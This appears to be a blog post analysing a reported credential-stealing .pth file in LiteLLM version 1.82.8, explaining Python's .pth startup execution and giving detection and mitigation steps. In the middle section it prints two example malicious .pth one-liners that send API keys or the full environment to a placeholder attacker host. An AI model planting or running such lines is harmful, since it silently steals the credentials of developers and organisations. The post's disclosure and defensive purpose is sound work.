A report from Simon Willison documented something that should concern anyone running AI infrastructure: LiteLLM version 1.82.8 shipped with a malicious file called litellm_init.pth that acted as a credential stealer. If you had that version installed, your LLM API keys were likely exfiltrated.
The incident is worth unpacking carefully, because the technical mechanism is not novel but the target selection is unusually deliberate.
What LiteLLM Is and Why It Matters Here
LiteLLM is a Python library that provides a unified interface to dozens of large language model providers: OpenAI, Anthropic, Azure OpenAI, AWS Bedrock, Cohere, Hugging Face, Mistral, and many others. You call one function; LiteLLM handles routing, retries, and provider-specific auth. It has become a standard piece of AI application infrastructure, used in everything from hobbyist bots to production inference pipelines.
The consequence of this is that a single LiteLLM installation often sits alongside credentials for multiple providers simultaneously. Environment variables like OPENAI_API_KEY, ANTHROPIC_API_KEY, AZURE_OPENAI_API_KEY, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and COHERE_API_KEY are all commonly set in the same process. From an attacker’s perspective, compromising a LiteLLM installation is not like stealing one key. It is more like stealing the entire keyring.
That is not accidental target selection.
The .pth File Mechanism
The delivery mechanism, a .pth file, is technically elegant and deserves a careful explanation.
Python’s site module processes all .pth files found in site-packages/ during interpreter startup. This is a normal part of how Python’s packaging system works. Ordinarily, .pth files contain directory paths that get appended to sys.path, which is how installed packages make their modules findable.
The dangerous edge case is this: any line in a .pth file that begins with import is executed as Python code immediately during interpreter initialization, before any user code runs. This is documented behavior. The CPython source in site.addpackage() has processed these lines for decades.
A minimal malicious .pth file could look like this:
import os; os.system('curl -s https://attacker.example.com/c?k=' + os.environ.get('OPENAI_API_KEY',''))
Or more completely:
import os,urllib.request; urllib.request.urlopen('https://attacker.example.com/exfil', data=str(os.environ).encode())
Both of those lines would execute the moment Python starts in any environment where the package is installed, regardless of whether your code ever imports litellm. Running python myscript.py, pytest, python -m flask run, or any other Python invocation in that virtualenv would trigger it.
This is what makes .pth injection worse than __init__.py injection. You do not need to import the compromised package. The attack surface is every Python process that runs in the affected environment.
Prior Art in This Attack Class
The technique is not new. Security researchers at ReversingLabs and Checkmarx have documented .pth-based malware in PyPI packages going back several years. The ctx and phpass incident in May 2022 gave an early high-visibility example of PyPI supply chain attacks harvesting environment variables, though that one used setup.py rather than a .pth file. The .pth variant is harder to catch because many static analysis tools focus on .py files and treat .pth files as inert path configuration.
PyPA (the Python Packaging Authority) has been aware of this risk for years. The site.py behavior is considered a feature, not a bug, but the security implications of placing arbitrary Python packages into site-packages have been discussed in various PEP processes without resolution. The fundamental tension is that packaging flexibility and security isolation are somewhat at odds, and Python’s packaging model was not designed with adversarial supply chains in mind.
What Was Likely Stolen
Given the credential-stealer classification and standard attack patterns for this vector, the malicious litellm_init.pth most likely targeted:
- Environment variables matching patterns like
*_API_KEY,*_SECRET*,*_TOKEN* - AWS credential files at
~/.aws/credentials .envfiles in common working directories- LiteLLM configuration files under
~/.litellm/
The breadth of potential exposure is significant. An organization running LiteLLM in a shared CI/CD environment would potentially expose every secret that pipeline runner touches, not just LLM credentials.
How to Check If You Were Affected
First, determine whether the malicious version was ever installed:
pip show litellm | grep Version
If you are unsure about historical installs, check your requirements files, lock files, and deployment logs for references to version 1.82.8.
To check for the file directly in an existing environment:
find $(python -c 'import site; print(site.getsitepackages()[0])') -name 'litellm_init.pth'
If that file exists, treat the entire environment as compromised. The file does not disappear cleanly just because you upgrade LiteLLM; you need to verify it is gone after upgrading, or rebuild the environment entirely.
If you ran 1.82.8 at any point, rotate all API keys that may have been in environment variables on that system. This includes OpenAI, Anthropic, Azure OpenAI, AWS (both access keys and any role tokens), Cohere, and any other service whose credentials were present. Check your outbound network logs for the time period when 1.82.8 was installed; unexpected HTTPS connections to unfamiliar endpoints during that window are a signal.
The Broader Problem With AI Tooling Dependencies
Python’s AI/ML ecosystem has developed a cultural pattern of moving fast on dependency updates. LiteLLM itself releases multiple versions per week to track the constant churn of provider API changes. This release velocity creates a larger attack surface: more releases means more opportunities for a compromised version to land before anyone notices. It also means users have normalized frequent upgrades without careful auditing.
The problem is structural. Tools like pip-audit and Safety can catch known-vulnerable packages after the fact, but they depend on advisories being filed, which takes time. OSV.dev and the GitHub Advisory Database are valuable resources, but they are reactive. The window between a malicious release and detection is exactly where this class of attack operates.
Hash-pinning is the most effective mitigation at the installation layer. With a requirements.txt that includes hash verification:
litellm==1.82.7 \
--hash=sha256:abc123...
Or using a tool like pip-compile with --generate-hashes, you prevent a different package from being installed under the same version number. This would not have helped against a version that shipped malicious code through legitimate channels, but it forces explicit review of every dependency update.
For production AI infrastructure, it is worth treating AI tooling packages with the same scrutiny as any other infrastructure dependency. LiteLLM is a program that handles credentials for every LLM provider you use. Its supply chain deserves the same posture as your secrets manager.
What This Signals
Supply chain attackers follow value. The LLM API market represents significant spend, and the keys that access it are worth stealing. As AI tooling matures from experiment to production infrastructure, it becomes a target class that attackers take seriously.
The .pth file mechanism will keep appearing in supply chain attacks because it works, it is hard to detect, and it predates any user code or security tooling. The defense is not to stop using Python; it is to treat pip install in production as a privileged operation, pin dependencies with hashes, audit .pth files in your environments, and maintain the discipline of rotating credentials after any supply chain event.
If you rely on LiteLLM or any similar AI gateway library, this incident is a reasonable prompt to audit your dependency pinning, your secret rotation practices, and how many API keys were accessible in environments where the package ran. The .pth trick is old. The target selection is a sign of where the ecosystem is heading.